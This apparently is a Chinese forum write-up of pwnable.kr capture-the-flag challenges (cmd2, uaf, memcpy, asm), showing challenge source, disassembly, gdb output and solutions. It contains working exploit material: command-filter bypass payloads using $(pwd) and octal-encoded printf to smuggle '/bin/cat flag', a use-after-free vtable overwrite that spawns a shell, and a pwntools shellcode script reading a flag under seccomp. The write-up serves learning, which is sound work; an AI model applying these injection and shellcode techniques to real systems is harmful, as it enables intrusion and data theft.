可以看到,在cmd1中,没有对/字符进行过滤,因此我们可以传入绝对路径。只要想办法将/bin/cat flag作为第一个命令行参数输入,绕过过滤的话,即可查看flag的内容,比如一种做法就是/bin/cat fla*

cmd2

cmd2@ubuntu:~$ cat cmd2.c
#include <stdio.h>
#include <string.h>

int filter(char* cmd){
    int r=0;
    r += strstr(cmd, "=")!=0;
    r += strstr(cmd, "PATH")!=0;
    r += strstr(cmd, "export")!=0;
    r += strstr(cmd, "/")!=0;
    r += strstr(cmd, "`")!=0;
    r += strstr(cmd, "flag")!=0;
    return r;
}

extern char** environ;
void delete_env(){
    char** p;
    for(p=environ; *p; p++)    memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
    delete_env();
    putenv("PATH=/no_command_execution_until_you_become_a_hacker");
    if(filter(argv[1])) return 0;
    printf("%s\n", argv[1]);
    system( argv[1] );
    return 0;
}

可以看到,在cmd2中,对/字符进行了过滤,所以我们要想办法构造出来/字符,而pwd命令可以打印出当前路径,如果我们切换到根目录下的话,不就能够利用/字符了吗?

 

所以,我们切换到根目录下,执行下面的命令:

./home/cmd2/cmd2  '""$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)fl*""'  
## /bin/cat /home/cmd2/flag

ps: 其实这个题的解法还是特别多的,比如下面这种

$ ./cmd2 '$(printf "\57\142\151\156\57\143\141\164\40\146\154\141\147")'

uaf

根据题目提示,是UAF漏洞,下载源码:

#include <fcntl.h>
#include <iostream> 
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
    virtual void give_shell(){
        system("/bin/sh");
    }
protected:
    int age;
    string name;
public:
    virtual void introduce(){
        cout << "My name is " << name << endl;
        cout << "I am " << age << " years old" << endl;
    }
};

class Man: public Human{
public:
    Man(string name, int age){
        this->name = name;
        this->age = age;
        }
        virtual void introduce(){
        Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
    Human* m = new Man("Jack", 25);
    Human* w = new Woman("Jill", 21);

    size_t len;
    char* data;
    unsigned int op;
    while(1){
        cout << "1. use\n2. after\n3. free\n";
        cin >> op;

        switch(op){
            case 1:
                m->introduce();
                w->introduce();
                break;
            case 2:
                len = atoi(argv[1]);
                data = new char[len];
                read(open(argv[2], O_RDONLY), data, len);
                cout << "your data is allocated" << endl;
                break;
            case 3:
                delete m;
                delete w;
                break;
            default:
                break;
        }
    }

    return 0;    
}

用64 位的IDA打开UAF, 可以看到Woman对象大小为24个字节:

.text:0000000000400EEA                 mov     esi, offset aJack ; "Jack"
.text:0000000000400EEF                 mov     rdi, rax
.text:0000000000400EF2                 call    __ZNSsC1EPKcRKSaIcE ; std::string::string(char const*,std::allocator<char> const&)
.text:0000000000400EF7                 lea     r12, [rbp+var_50]
.text:0000000000400EFB                 mov     edi, 18h        ; unsigned __int64
.text:0000000000400F00                 call    __Znwm          ; operator new(ulong)

在下面的rodata数据段,可以看到虚表的地址:

.rodata:0000000000401580    public _ZTV5Human ; weak
.rodata:0000000000401580 ;     `vtable for'Human
.rodata:0000000000401580     _ZTV5Human      db    0

而函数的调用就是这个虚表指针+偏移量,比如Human->give_shell就是 vTable_ptr + 0,所以只需要修改一个指针,我们只需要调用give_shell函数,就可以得到shell,后面函数需要调用introduce函数,地址为vTable + 8, 即 0x0000000000401568。所以,我们先将这个地址写入文件中,然后作为文件输入:

python -c "print '\x68\x15\x40\x00\x00\x00\x00\x00'" > /tmp/uaf

然后 3->2->2->1 即可获取到shell:

uaf@ubuntu:~$ python -c "print '\x68\x15\x40\x00\x00\x00\x00\x00'" > /tmp/uaf
uaf@ubuntu:~$ ./uaf 24 /tmp/uaf
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ cat flag

memcpy

根据题目,我们可以下载memcpy.c

// compiled with : gcc -o memcpy memcpy.c -m32 -lm
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/mman.h>
#include <math.h>

unsigned long long rdtsc(){
        asm("rdtsc");
}

char* slow_memcpy(char* dest, const char* src, size_t len){
    int i;
    for (i=0; i<len; i++) {
        dest[i] = src[i];
    }
    return dest;
}

char* fast_memcpy(char* dest, const char* src, size_t len){
    size_t i;
    // 64-byte block fast copy
    if(len >= 64){
        i = len / 64;
        len &= (64-1);
        while(i-- > 0){
            __asm__ __volatile__ (
            "movdqa (%0), %%xmm0\n"
            "movdqa 16(%0), %%xmm1\n"
            "movdqa 32(%0), %%xmm2\n"
            "movdqa 48(%0), %%xmm3\n"
            "movntps %%xmm0, (%1)\n"
            "movntps %%xmm1, 16(%1)\n"
            "movntps %%xmm2, 32(%1)\n"
            "movntps %%xmm3, 48(%1)\n"
            ::"r"(src),"r"(dest):"memory");
            dest += 64;
            src += 64;
        }
    }

    // byte-to-byte slow copy
    if(len) slow_memcpy(dest, src, len);
    return dest;
}

int main(void){

    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stdin, 0, _IOLBF, 0);

    printf("Hey, I have a boring assignment for CS class.. :(\n");
    printf("The assignment is simple.\n");

    printf("-----------------------------------------------------\n");
    printf("- What is the best implementation of memcpy?        -\n");
    printf("- 1. implement your own slow/fast version of memcpy -\n");
    printf("- 2. compare them with various size of data         -\n");
    printf("- 3. conclude your experiment and submit report     -\n");
    printf("-----------------------------------------------------\n");

    printf("This time, just help me out with my experiment and get flag\n");
    printf("No fancy hacking, I promise :D\n");

    unsigned long long t1, t2;
    int e;
    char* src;
    char* dest;
    unsigned int low, high;
    unsigned int size;
    // allocate memory
    char* cache1 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    char* cache2 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    src = mmap(0, 0x2000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

    size_t sizes[10];
    int i=0;

    // setup experiment parameters
    for(e=4; e<14; e++){    // 2^13 = 8K
        low = pow(2,e-1);
        high = pow(2,e);
        printf("specify the memcpy amount between %d ~ %d : ", low, high);
        scanf("%d", &size);
        if( size < low || size > high ){
            printf("don't mess with the experiment.\n");
            exit(0);
        }
        sizes[i++] = size;
    }

    sleep(1);
    printf("ok, lets run the experiment with your configuration\n");
    sleep(1);

    // run experiment
    for(i=0; i<10; i++){
        size = sizes[i];
        printf("experiment %d : memcpy with buffer size %d\n", i+1, size);
        dest = malloc( size );

        memcpy(cache1, cache2, 0x4000);        // to eliminate cache effect
        t1 = rdtsc();
        slow_memcpy(dest, src, size);        // byte-to-byte memcpy
        t2 = rdtsc();
        printf("ellapsed CPU cycles for slow_memcpy : %llu\n", t2-t1);

        memcpy(cache1, cache2, 0x4000);        // to eliminate cache effect
        t1 = rdtsc();
        fast_memcpy(dest, src, size);        // block-to-block memcpy
        t2 = rdtsc();
        printf("ellapsed CPU cycles for fast_memcpy : %llu\n", t2-t1);
        printf("\n");
    }

    printf("thanks for helping my experiment!\n");
    printf("flag : ----- erased in this source code -----\n");
    return 0;
}

简单看下文件,两个字节复制函数slow_memcpyfast_memcpy,前者是逐字节复制,后者是利用xmm寄存器无cache复制,不足64个字节的话调用slow_memcpy

 

使用代码第一行所注释的编译选项gcc -o memcpy memcpy.c -m32 -lm,编译文件:

[root@flyingfish pwnable]# gcc -o memcpy memcpy.c -m32 -lm

运行程序,看看发生了什么:

[root@flyingfish pwnable]# ./memcpy
Hey, I have a boring assignment for CS class.. :(
The assignment is simple.
-----------------------------------------------------
- What is the best implementation of memcpy?        -
- 1. implement your own slow/fast version of memcpy -
- 2. compare them with various size of data         -
- 3. conclude your experiment and submit report     -
-----------------------------------------------------
This time, just help me out with my experiment and get flag
No fancy hacking, I promise :D
specify the memcpy amount between 8 ~ 16 : 8
specify the memcpy amount between 16 ~ 32 : 16
specify the memcpy amount between 32 ~ 64 : 32
specify the memcpy amount between 64 ~ 128 : 64
specify the memcpy amount between 128 ~ 256 : 128
specify the memcpy amount between 256 ~ 512 : 256
specify the memcpy amount between 512 ~ 1024 : 512
specify the memcpy amount between 1024 ~ 2048 : 1034
specify the memcpy amount between 2048 ~ 4096 : 2048
specify the memcpy amount between 4096 ~ 8192 : 4096
ok, lets run the experiment with your configuration
experiment 1 : memcpy with buffer size 8
ellapsed CPU cycles for slow_memcpy : 2770
ellapsed CPU cycles for fast_memcpy : 240

experiment 2 : memcpy with buffer size 16
ellapsed CPU cycles for slow_memcpy : 170
ellapsed CPU cycles for fast_memcpy : 194

experiment 3 : memcpy with buffer size 32
ellapsed CPU cycles for slow_memcpy : 358
ellapsed CPU cycles for fast_memcpy : 318

experiment 4 : memcpy with buffer size 64
ellapsed CPU cycles for slow_memcpy : 574
Segmentation fault

使用gdb调试程序,发现执行到fash_memcpy的时候,发生了异常:

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0xf7dcc000 --> 0x0 
EBX: 0x5f436f ('oC_')
ECX: 0x0 
EDX: 0x804c058 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffd578 --> 0xffffd618 --> 0x0 
ESP: 0xffffd55c --> 0xf7e1bc3f (<printf+47>:    add    esp,0x18)
EIP: 0x804878d (<fast_memcpy+52>:    movntps XMMWORD PTR [edx],xmm0)
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804877e <fast_memcpy+37>:    movdqa xmm1,XMMWORD PTR [eax+0x10]
   0x8048783 <fast_memcpy+42>:    movdqa xmm2,XMMWORD PTR [eax+0x20]
   0x8048788 <fast_memcpy+47>:    movdqa xmm3,XMMWORD PTR [eax+0x30]
=> 0x804878d <fast_memcpy+52>:    movntps XMMWORD PTR [edx],xmm0
   0x8048790 <fast_memcpy+55>:    movntps XMMWORD PTR [edx+0x10],xmm1
   0x8048794 <fast_memcpy+59>:    movntps XMMWORD PTR [edx+0x20],xmm2
   0x8048798 <fast_memcpy+63>:    movntps XMMWORD PTR [edx+0x30],xmm3
   0x804879c <fast_memcpy+67>:    add    DWORD PTR [ebp+0x8],0x40
[------------------------------------stack-------------------------------------]
0000| 0xffffd55c --> 0xf7e1bc3f (<printf+47>:    add    esp,0x18)
0004| 0xffffd560 --> 0xf7f8bae0 --> 0xfbad2887 
0008| 0xffffd564 --> 0x8048f8c ("ellapsed CPU cycles for slow_memcpy : %llu\n")
0012| 0xffffd568 --> 0xffffd584 --> 0xf7dcc000 --> 0x0 
0016| 0xffffd56c --> 0xf7f19bc8 (<__memcpy_ssse3_rep+312>:    add    ebx,0x71438)
0020| 0xffffd570 --> 0x0 
0024| 0xffffd574 --> 0x0 
0028| 0xffffd578 --> 0xffffd618 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0804878d in fast_memcpy ()
gdb-peda$

fash_memcpy函数用到了[movntps](https://baike.baidu.com/item/SSE%E6%8C%87%E4%BB%A4/8857860),参见百度百科解释,大部分涉及到128位内存变量操作的,内存变量首地址必须要对齐16字节,也就是内存地址低4位为0,否则会引起CPU异常,导致指令执行失败,此错误编译器不检查。

 

所以本题的关键就在于malloc 函数 所申请的字节大小,下图程序可以计算malloc程序实际申请的内存大小,只要size可以整除16,就满足本题的要求:

def malloc_chunk_size(n):
    if n<12:
        size=16
    else:
        if(n+4)%8==0:
            size=n+4
        else:
            size=8*(int((n+4)/8)+1)
    return size

下面是示例代码:

memcpy@ubuntu:~$ python -c "print '9\n21\n44\n73\n136\n267\n520\n1030\n2055\n5210\n'" | nc 0 9022

asm

根据目录下的文件readme提示:我们只要连接到本地服务器的9026端口,执行asm 程序可以获取到flag文件,flag文件名称为this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong

once you connect to port 9026, the “asm” binary will be executed under asm_pwn privilege. 
make connection to challenge (nc 0 9026) then get the flag. (file name of the flag is same as the one in this directory)
asm@ubuntu:~$ cat asm.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox(){
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
    if (ctx == NULL) {
        printf("seccomp error\n");
        exit(0);
    }

    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

    if (seccomp_load(ctx) < 0){
        seccomp_release(ctx);
        printf("seccomp error\n");
        exit(0);
    }
    seccomp_release(ctx);
}

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){

    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stdin, 0, _IOLBF, 0);

    printf("Welcome to shellcoding practice challenge.\n");
    printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
    printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
    printf("If this does not challenge you. you should play 'asg' challenge :)\n");

    char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
    memset(sh, 0x90, 0x1000);
    memcpy(sh, stub, strlen(stub));

    int offset = sizeof(stub);
    printf("give me your x64 shellcode: ");
    read(0, sh+offset, 1000);

    alarm(10);
    chroot("/home/asm_pwn");    // you are in chroot jail. so you can't use symlink in /tmp // 改变程序执行的根目录为/home/asm_pwn
    sandbox();
    ((void (*)(void))sh)();
    return 0;
}

程序首先申请一块内存,用0x90(nop)清零,再将字符串stub 的 内容复制到刚刚申请的内存空间中去,读取用户输入,执行程序。反汇编一下stub,发现其功能是将全部的寄存器清零。

asm@ubuntu:~$ python
Python 2.7.12 (default, Jul  1 2016, 15:12:24) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> print disasm("\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff")
   0:   48                      dec    eax
   1:   31 c0                   xor    eax,eax
   3:   48                      dec    eax
   4:   31 db                   xor    ebx,ebx
   6:   48                      dec    eax
   7:   31 c9                   xor    ecx,ecx
   9:   48                      dec    eax
   a:   31 d2                   xor    edx,edx
   c:   48                      dec    eax
   d:   31 f6                   xor    esi,esi
   f:   48                      dec    eax
  10:   31 ff                   xor    edi,edi
  12:   48                      dec    eax
  13:   31 ed                   xor    ebp,ebp
  15:   4d                      dec    ebp
  16:   31 c0                   xor    eax,eax
  18:   4d                      dec    ebp
  19:   31 c9                   xor    ecx,ecx
  1b:   4d                      dec    ebp
  1c:   31 d2                   xor    edx,edx
  1e:   4d                      dec    ebp
  1f:   31 db                   xor    ebx,ebx
  21:   4d                      dec    ebp
  22:   31 e4                   xor    esp,esp
  24:   4d                      dec    ebp
  25:   31 ed                   xor    ebp,ebp
  27:   4d                      dec    ebp
  28:   31 f6                   xor    esi,esi
  2a:   4d                      dec    ebp
  2b:   31 ff                   xor    edi,edi

之后执行sandbox函数(seccomp是一种安全运行模式),由于沙盒只允许运行open、read、write函数,所以我们可以使用x64的rax, rsp寄存器存放我们需要的内容,然后输出到标准输出流。我们可以使用pwntools工具中的shellcraft模块来编写我们的shellcode,来读取/home/asm_pwn目录下的flag文件中的内容(关于shellcraft模块的使用,可以参考官方文档)。

 

完整的 exp 脚本如下:

#! /usr/bin/env python
from pwn import *

conn = ssh(host = 'pwnable.kr',user = 'asm',password = 'guest',port =2222)

p = conn.connect_remote('localhost',9026)

context(arch = 'amd64', os = 'linux')

shellcode = ''


shellcode += shellcraft.open('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')

shellcode += shellcraft.read('rax','rsp',100)   

shellcode += shellcraft.write(1,'rsp',100)

print shellcode

p.recvuntil('shellcode: ')

p.send(asm(shellcode))
log.success(p.recvline())

unlink

to be ...

 

(其实,关于第一部分的wp,网上特别多,我写本篇文章的目的权当记录一下学习过程吧)


[公告]《安卓APP加固攻与防》训练营!Android逆向分析技能,干货满满,报名免费赠送一部手机!

最后于 2018-3-23 20:38 被fyb波编辑 ,原因:
收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回